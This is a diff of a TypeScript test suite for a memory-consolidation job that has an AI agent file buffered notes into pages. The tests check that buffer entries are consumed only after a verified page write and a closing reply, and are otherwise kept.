describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
853
|
+
const TWO_ENTRIES =
|
|
854
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
855
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n";
|
|
856
|
+
|
|
831
857
|
beforeEach(() => {
|
|
832
|
-
writeFileSync(
|
|
833
|
-
bufferPath(),
|
|
834
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
835
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
|
|
836
|
-
);
|
|
858
|
+
writeFileSync(bufferPath(), TWO_ENTRIES);
|
|
837
859
|
});
|
|
838
860
|
|
|
839
|
-
test("a
|
|
861
|
+
test("a run with a verified page write consumes exactly the pass and enqueues follow-ups", async () => {
|
|
840
862
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
841
863
|
|
|
842
864
|
expect(result.kind).toBe("invoked");
|
|
@@ -844,16 +866,22 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
844
866
|
throw new Error("unreachable");
|
|
845
867
|
}
|
|
846
868
|
expect(result.noProgress).toBe(false);
|
|
869
|
+
expect(result.consumedEntries).toBe(2);
|
|
870
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
871
|
+
expect(messagesRequestedFor).toEqual(["conv-1"]);
|
|
847
872
|
expect(result.followUpJobIds).toEqual(["job-1"]);
|
|
848
873
|
expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
|
|
849
874
|
});
|
|
850
875
|
|
|
851
|
-
test("
|
|
876
|
+
test("an entry appended while the run is in flight is still in the buffer afterwards", async () => {
|
|
877
|
+
// The specimen: remember() lands mid-run, after the snapshot. The run
|
|
878
|
+
// never saw it, so it must not be consumed with the pass.
|
|
879
|
+
const midRun = formatRememberEntry(
|
|
880
|
+
"Bob joined the standup.",
|
|
881
|
+
new Date(2026, 3, 27, 9, 6),
|
|
882
|
+
);
|
|
852
883
|
runnerImpl = async () => {
|
|
853
|
-
|
|
854
|
-
bufferPath(),
|
|
855
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
|
|
856
|
-
);
|
|
884
|
+
appendFileSync(bufferPath(), midRun);
|
|
857
885
|
return { conversationId: "conv-1", ok: true };
|
|
858
886
|
};
|
|
859
887
|
|
|
@@ -864,14 +892,40 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
864
892
|
throw new Error("unreachable");
|
|
865
893
|
}
|
|
866
894
|
expect(result.noProgress).toBe(false);
|
|
867
|
-
expect(
|
|
895
|
+
expect(result.consumedEntries).toBe(2);
|
|
896
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(midRun);
|
|
897
|
+
expect(runnerLastArgs?.prompt as string).not.toContain(
|
|
898
|
+
"Bob joined the standup.",
|
|
899
|
+
);
|
|
868
900
|
});
|
|
869
901
|
|
|
870
|
-
test("
|
|
871
|
-
// The
|
|
872
|
-
//
|
|
873
|
-
//
|
|
874
|
-
|
|
902
|
+
test("a run with no verified page write consumes nothing and reports noProgress", async () => {
|
|
903
|
+
// The run completed but its messages carry no successful page write:
|
|
904
|
+
// a prose-only reply, or writes that all errored. Consuming would
|
|
905
|
+
// delete the entries unfiled.
|
|
906
|
+
runMessages = [
|
|
907
|
+
{
|
|
908
|
+
role: "assistant",
|
|
909
|
+
content: [
|
|
910
|
+
{ type: "tool_use", id: "t1", name: "file_write", input: {} },
|
|
911
|
+
],
|
|
912
|
+
},
|
|
913
|
+
{
|
|
914
|
+
role: "user",
|
|
915
|
+
content: [
|
|
916
|
+
{
|
|
917
|
+
type: "tool_result",
|
|
918
|
+
tool_use_id: "t1",
|
|
919
|
+
is_error: true,
|
|
920
|
+
content: "EACCES",
|
|
921
|
+
},
|
|
922
|
+
],
|
|
923
|
+
},
|
|
924
|
+
{
|
|
925
|
+
role: "assistant",
|
|
926
|
+
content: [{ type: "text", text: "Nothing to file." }],
|
|
927
|
+
},
|
|
928
|
+
];
|
|
875
929
|
|
|
876
930
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
877
931
|
|
|
@@ -880,18 +934,148 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
880
934
|
throw new Error("unreachable");
|
|
881
935
|
}
|
|
882
936
|
expect(result.noProgress).toBe(true);
|
|
937
|
+
expect(result.consumedEntries).toBe(0);
|
|
938
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
883
939
|
expect(result.followUpJobIds).toEqual([]);
|
|
884
940
|
expect(enqueuedJobs).toHaveLength(0);
|
|
885
941
|
});
|
|
886
942
|
|
|
887
|
-
test("a
|
|
943
|
+
test("a run that wrote a page but stopped mid-work consumes nothing", async () => {
|
|
944
|
+
// A repair-step page fix satisfies the write half of the gate; the run
|
|
945
|
+
// then ends on a tool call with no closing reply. It never filed its
|
|
946
|
+
// pass, so the pass stays.
|
|
947
|
+
runMessages = [
|
|
948
|
+
{
|
|
949
|
+
role: "assistant",
|
|
950
|
+
content: [
|
|
951
|
+
{ type: "tool_use", id: "t1", name: "file_write", input: {} },
|
|
952
|
+
],
|
|
953
|
+
},
|
|
954
|
+
{
|
|
955
|
+
role: "user",
|
|
956
|
+
content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
|
|
957
|
+
},
|
|
958
|
+
{
|
|
959
|
+
role: "assistant",
|
|
960
|
+
content: [{ type: "tool_use", id: "t2", name: "file_read", input: {} }],
|
|
961
|
+
},
|
|
962
|
+
{
|
|
963
|
+
role: "user",
|
|
964
|
+
content: [{ type: "tool_result", tool_use_id: "t2", content: "..." }],
|
|
965
|
+
},
|
|
966
|
+
];
|
|
967
|
+
|
|
968
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
969
|
+
|
|
970
|
+
expect(result.kind).toBe("invoked");
|
|
971
|
+
if (result.kind !== "invoked") {
|
|
972
|
+
throw new Error("unreachable");
|
|
973
|
+
}
|
|
974
|
+
expect(result.noProgress).toBe(true);
|
|
975
|
+
expect(result.consumedEntries).toBe(0);
|
|
976
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
977
|
+
expect(enqueuedJobs).toHaveLength(0);
|
|
978
|
+
});
|
|
979
|
+
|
|
980
|
+
test("narration on the row that called the tool does not count as concluding", async () => {
|
|
981
|
+
// The model said "fixing that page now", called file_write, and the run
|
|
982
|
+
// stopped after the result. Text on a tool-call row is not the closing
|
|
983
|
+
// reply; the pass stays.
|
|
984
|
+
runMessages = [
|
|
985
|
+
{
|
|
986
|
+
role: "assistant",
|
|
987
|
+
content: [
|
|
988
|
+
{ type: "text", text: "Fixing that page now." },
|
|
989
|
+
{ type: "tool_use", id: "t1", name: "file_write", input: {} },
|
|
990
|
+
],
|
|
991
|
+
},
|
|
992
|
+
{
|
|
993
|
+
role: "user",
|
|
994
|
+
content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
|
|
995
|
+
},
|
|
996
|
+
];
|
|
997
|
+
|
|
998
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
999
|
+
|
|
1000
|
+
expect(result.kind).toBe("invoked");
|
|
1001
|
+
if (result.kind !== "invoked") {
|
|
1002
|
+
throw new Error("unreachable");
|
|
1003
|
+
}
|
|
1004
|
+
expect(result.noProgress).toBe(true);
|
|
1005
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1006
|
+
});
|
|
1007
|
+
|
|
1008
|
+
test("only page-writing tools count as evidence", async () => {
|
|
1009
|
+
runMessages = [
|
|
1010
|
+
{
|
|
1011
|
+
role: "assistant",
|
|
1012
|
+
content: [
|
|
1013
|
+
{ type: "tool_use", id: "t1", name: "file_read", input: {} },
|
|
1014
|
+
{ type: "tool_use", id: "t2", name: "recall", input: {} },
|
|
1015
|
+
],
|
|
1016
|
+
},
|
|
1017
|
+
{
|
|
1018
|
+
role: "user",
|
|
1019
|
+
content: [
|
|
1020
|
+
{ type: "tool_result", tool_use_id: "t1", content: "..." },
|
|
1021
|
+
{ type: "tool_result", tool_use_id: "t2", content: "..." },
|
|
1022
|
+
],
|
|
1023
|
+
},
|
|
1024
|
+
{
|
|
1025
|
+
role: "assistant",
|
|
1026
|
+
content: [{ type: "text", text: "Read everything, filed nothing." }],
|
|
1027
|
+
},
|
|
1028
|
+
];
|
|
1029
|
+
|
|
1030
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1031
|
+
|
|
1032
|
+
expect(result.kind).toBe("invoked");
|
|
1033
|
+
if (result.kind !== "invoked") {
|
|
1034
|
+
throw new Error("unreachable");
|
|
1035
|
+
}
|
|
1036
|
+
expect(result.noProgress).toBe(true);
|
|
1037
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1038
|
+
});
|
|
1039
|
+
|
|
1040
|
+
test("a failed run leaves the buffer intact for the next pass", async () => {
|
|
1041
|
+
runnerImpl = async () => ({
|
|
1042
|
+
conversationId: "conv-1",
|
|
1043
|
+
ok: false,
|
|
1044
|
+
error: new Error("timed out"),
|
|
1045
|
+
errorKind: "timeout",
|
|
1046
|
+
});
|
|
1047
|
+
|
|
1048
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1049
|
+
|
|
1050
|
+
expect(result.kind).toBe("run_failed");
|
|
1051
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1052
|
+
expect(messagesRequestedFor).toEqual([]);
|
|
1053
|
+
});
|
|
1054
|
+
|
|
1055
|
+
test("a skipped run consumes nothing and reads no evidence", async () => {
|
|
1056
|
+
runnerImpl = async () => ({
|
|
1057
|
+
conversationId: "",
|
|
1058
|
+
ok: true,
|
|
1059
|
+
skipReason: "pre_first_user_message",
|
|
1060
|
+
});
|
|
1061
|
+
|
|
1062
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1063
|
+
|
|
1064
|
+
expect(result.kind).toBe("invoked");
|
|
1065
|
+
if (result.kind !== "invoked") {
|
|
1066
|
+
throw new Error("unreachable");
|
|
1067
|
+
}
|
|
1068
|
+
expect(result.noProgress).toBe(true);
|
|
1069
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1070
|
+
expect(messagesRequestedFor).toEqual([]);
|
|
1071
|
+
});
|
|
1072
|
+
|
|
1073
|
+
test("an agent that rewrote the buffer anyway still counts as progress, minus what it dropped", async () => {
|
|
1074
|
+
// A customized prompt that trims the buffer itself: the pass's entries
|
|
1075
|
+
// are already gone when the job goes to consume them. That is progress
|
|
1076
|
+
// (the run filed them); the job warns rather than failing the run.
|
|
888
1077
|
runnerImpl = async () => {
|
|
889
|
-
writeFileSync(
|
|
890
|
-
bufferPath(),
|
|
891
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
892
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
|
|
893
|
-
"- [Apr 27, 9:06 AM] Bob joined the standup.\n",
|
|
894
|
-
);
|
|
1078
|
+
writeFileSync(bufferPath(), "");
|
|
895
1079
|
return { conversationId: "conv-1", ok: true };
|
|
896
1080
|
};
|
|
897
1081
|
|
|
@@ -901,9 +1085,135 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
901
1085
|
if (result.kind !== "invoked") {
|
|
902
1086
|
throw new Error("unreachable");
|
|
903
1087
|
}
|
|
904
|
-
expect(result.noProgress).toBe(
|
|
905
|
-
expect(result.
|
|
906
|
-
expect(enqueuedJobs).
|
|
1088
|
+
expect(result.noProgress).toBe(false);
|
|
1089
|
+
expect(result.consumedEntries).toBe(2);
|
|
1090
|
+
expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
|
|
1091
|
+
});
|
|
1092
|
+
|
|
1093
|
+
test("a snapshot that caught an append mid-write leaves its last entry for the next pass", async () => {
|
|
1094
|
+
// An append is one write ending in a newline; a snapshot without one
|
|
1095
|
+
// may have caught an append in flight. The job re-reads after a short
|
|
1096
|
+
// settle: the rest of the append lands in that window here, so the
|
|
1097
|
+
// entry is incomplete and is not handed to the run.
|
|
1098
|
+
writeFileSync(
|
|
1099
|
+
bufferPath(),
|
|
1100
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
1101
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of",
|
|
1102
|
+
);
|
|
1103
|
+
setTimeout(() => appendFileSync(bufferPath(), " day.\n"), 10);
|
|
1104
|
+
|
|
1105
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1106
|
+
|
|
1107
|
+
expect(result.kind).toBe("invoked");
|
|
1108
|
+
if (result.kind !== "invoked") {
|
|
1109
|
+
throw new Error("unreachable");
|
|
1110
|
+
}
|
|
1111
|
+
expect(result.consumedEntries).toBe(1);
|
|
1112
|
+
expect(runnerLastArgs?.prompt as string).not.toContain("Alice ships");
|
|
1113
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(
|
|
1114
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
|
|
1115
|
+
);
|
|
1116
|
+
});
|
|
1117
|
+
|
|
1118
|
+
test("a stable buffer without a terminating newline is filed whole", async () => {
|
|
1119
|
+
// A buffer last rewritten without a trailing newline (an agent's
|
|
1120
|
+
// file_write under an older prompt, a hand edit) is a persisted shape
|
|
1121
|
+
// that must keep working: nothing is mid-write, so after the settle
|
|
1122
|
+
// re-read its last entry is complete, filed, and consumed, and the
|
|
1123
|
+
// rewrite leaves the buffer newline-terminated.
|
|
1124
|
+
writeFileSync(
|
|
1125
|
+
bufferPath(),
|
|
1126
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
1127
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.",
|
|
1128
|
+
);
|
|
1129
|
+
|
|
1130
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1131
|
+
|
|
1132
|
+
expect(result.kind).toBe("invoked");
|
|
1133
|
+
if (result.kind !== "invoked") {
|
|
1134
|
+
throw new Error("unreachable");
|
|
1135
|
+
}
|
|
1136
|
+
expect(result.consumedEntries).toBe(2);
|
|
1137
|
+
expect(runnerLastArgs?.prompt as string).toContain(
|
|
1138
|
+
"Alice ships at end of day.",
|
|
1139
|
+
);
|
|
1140
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
1141
|
+
});
|
|
1142
|
+
|
|
1143
|
+
test("a single unterminated entry is not deferred forever", async () => {
|
|
1144
|
+
writeFileSync(bufferPath(), "- [Apr 27, 9:00 AM] Only entry, no newline");
|
|
1145
|
+
|
|
1146
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1147
|
+
|
|
1148
|
+
expect(result.kind).toBe("invoked");
|
|
1149
|
+
if (result.kind !== "invoked") {
|
|
1150
|
+
throw new Error("unreachable");
|
|
1151
|
+
}
|
|
1152
|
+
expect(result.consumedEntries).toBe(1);
|
|
1153
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
1154
|
+
});
|
|
1155
|
+
|
|
1156
|
+
test("hand-written prose before the first entry is filed with the pass", async () => {
|
|
1157
|
+
writeFileSync(bufferPath(), "Some notes I typed by hand.\n" + TWO_ENTRIES);
|
|
1158
|
+
|
|
1159
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1160
|
+
|
|
1161
|
+
expect(result.kind).toBe("invoked");
|
|
1162
|
+
if (result.kind !== "invoked") {
|
|
1163
|
+
throw new Error("unreachable");
|
|
1164
|
+
}
|
|
1165
|
+
expect(runnerLastArgs?.prompt as string).toContain(
|
|
1166
|
+
"<buffer_entries>\nSome notes I typed by hand.\n- [Apr 27, 9:00 AM]",
|
|
1167
|
+
);
|
|
1168
|
+
expect(result.consumedEntries).toBe(3);
|
|
1169
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
1170
|
+
});
|
|
1171
|
+
|
|
1172
|
+
test("a buffer whose every entry is stamped with the cutoff minute skips the run", async () => {
|
|
1173
|
+
// Entries stamped in the dispatch minute are the next pass's material,
|
|
1174
|
+
// so a buffer holding only those has nothing eligible: no agent run,
|
|
1175
|
+
// no failure bookkeeping.
|
|
1176
|
+
if (new Date().getSeconds() >= 57) {
|
|
1177
|
+
await Bun.sleep(3500);
|
|
1178
|
+
}
|
|
1179
|
+
const now = new Date();
|
|
1180
|
+
writeFileSync(
|
|
1181
|
+
bufferPath(),
|
|
1182
|
+
formatRememberEntry("Just saved.", now) +
|
|
1183
|
+
formatRememberEntry("Also just saved.", now),
|
|
1184
|
+
);
|
|
1185
|
+
|
|
1186
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1187
|
+
|
|
1188
|
+
expect(result.kind).toBe("nothing_eligible");
|
|
1189
|
+
if (result.kind !== "nothing_eligible") {
|
|
1190
|
+
throw new Error("unreachable");
|
|
1191
|
+
}
|
|
1192
|
+
expect(result.cutoff).toBe(formatBufferTimestamp(now));
|
|
1193
|
+
expect(runnerCalls).toBe(0);
|
|
1194
|
+
expect(existsSync(lockPath())).toBe(false);
|
|
1195
|
+
expect(checkpointStore.size).toBe(0);
|
|
1196
|
+
});
|
|
1197
|
+
|
|
1198
|
+
test("a consume that fails leaves the buffer intact and reports noProgress", async () => {
|
|
1199
|
+
// The consume writes a temp file beside the buffer; a directory it
|
|
1200
|
+
// cannot write to makes it throw. The job must not guess at the
|
|
1201
|
+
// buffer's state: no removal, no follow-ups.
|
|
1202
|
+
chmodSync(memoryDir(), 0o500);
|
|
1203
|
+
try {
|
|
1204
|
+
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1205
|
+
|
|
1206
|
+
expect(result.kind).toBe("invoked");
|
|
1207
|
+
if (result.kind !== "invoked") {
|
|
1208
|
+
throw new Error("unreachable");
|
|
1209
|
+
}
|
|
1210
|
+
expect(result.noProgress).toBe(true);
|
|
1211
|
+
expect(result.consumedEntries).toBe(0);
|
|
1212
|
+
expect(enqueuedJobs).toHaveLength(0);
|
|
1213
|
+
} finally {
|
|
1214
|
+
chmodSync(memoryDir(), 0o700);
|
|
1215
|
+
}
|
|
1216
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
907
1217
|
});
|
|
908
1218
|
|
|
909
1219
|
test("a run that leaves dangling links reports the count and still enqueues follow-ups", async () => {
|
|
@@ -916,7 +1226,6 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
916
1226
|
join(conceptsDir, "atl-1290.md"),
|
|
917
1227
|
"---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
|
|
918
1228
|
);
|
|
919
|
-
writeFileSync(bufferPath(), "");
|
|
920
1229
|
invalidatePageIndex();
|
|
921
1230
|
return { conversationId: "conv-1", ok: true };
|
|
922
1231
|
};
|
|
@@ -947,7 +1256,6 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
947
1256
|
invalidatePageIndex();
|
|
948
1257
|
runnerImpl = async () => {
|
|
949
1258
|
writeFileSync(join(conceptsDir, "atl-1291.md"), "# ATL-1291\n");
|
|
950
|
-
writeFileSync(bufferPath(), "");
|
|
951
1259
|
invalidatePageIndex();
|
|
952
1260
|
return { conversationId: "conv-1", ok: true };
|
|
953
1261
|
};
|
|
@@ -978,7 +1286,7 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
978
1286
|
"---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
|
|
979
1287
|
);
|
|
980
1288
|
invalidatePageIndex();
|
|
981
|
-
|
|
1289
|
+
runMessages = [];
|
|
982
1290
|
try {
|
|
983
1291
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
984
1292
|
|
|
@@ -1019,8 +1327,8 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
|
|
|
1019
1327
|
if (result.kind !== "invoked") {
|
|
1020
1328
|
throw new Error("unreachable");
|
|
1021
1329
|
}
|
|
1022
|
-
// Dedup is not no-progress: the
|
|
1023
|
-
//
|
|
1330
|
+
// Dedup is not no-progress: the pass was consumed; the follow-ups are
|
|
1331
|
+
// simply already covered by pending rows.
|
|
1024
1332
|
expect(result.noProgress).toBe(false);
|
|
1025
1333
|
expect(result.followUpJobIds).toEqual([]);
|
|
1026
1334
|
expect(enqueuedJobs).toHaveLength(0);
|
|
@@ -1226,8 +1534,8 @@ describe("memoryV2ConsolidateJob — consecutive-failure state", () => {
|
|
|
1226
1534
|
|
|
1227
1535
|
test("a completed run with no progress records a transient failure instead of clearing", async () => {
|
|
1228
1536
|
seedFailureState(2, Date.now() - 60_000, "billing");
|
|
1229
|
-
// Completes ok but
|
|
1230
|
-
|
|
1537
|
+
// Completes ok but wrote no page: the stuck-agent shape.
|
|
1538
|
+
runMessages = [];
|
|
1231
1539
|
|
|
1232
1540
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1233
1541
|
|